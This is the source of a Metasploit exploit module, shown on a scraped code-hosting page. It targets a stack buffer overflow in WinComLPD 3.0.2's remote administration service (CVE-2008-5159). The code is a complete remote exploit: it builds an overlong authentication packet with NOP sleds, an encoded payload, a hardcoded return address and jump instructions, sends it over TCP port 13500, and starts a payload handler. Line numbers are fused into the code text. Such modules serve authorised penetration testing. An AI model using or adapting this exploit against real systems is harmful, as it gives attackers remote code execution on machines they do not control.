Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/lpd/wincomlpd_admin.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'WinComLPD Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.15By sending an overly long authentication packet to the remote16administration service, an attacker may be able to execute arbitrary17code.18},19'Author' => 'MC',20'License' => MSF_LICENSE,21'References' =>22[23['CVE', '2008-5159'],24['OSVDB', '42861'],25['BID', '27614'],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x0a",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],41],42'Privileged' => true,43'DisclosureDate' => '2008-02-04',44'DefaultTarget' => 0))4546register_options([Opt::RPORT(13500)], self)47end4849def exploit50connect5152# 'net start lpdservice' after you migrate!53sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"54sploit << make_nops(872 - payload.encoded.length)55sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)56sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)57sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)5859print_status("Trying target #{target.name}...")6061sock.puts(sploit)62select(nil,nil,nil,5)6364handler65disconnect66end67end686970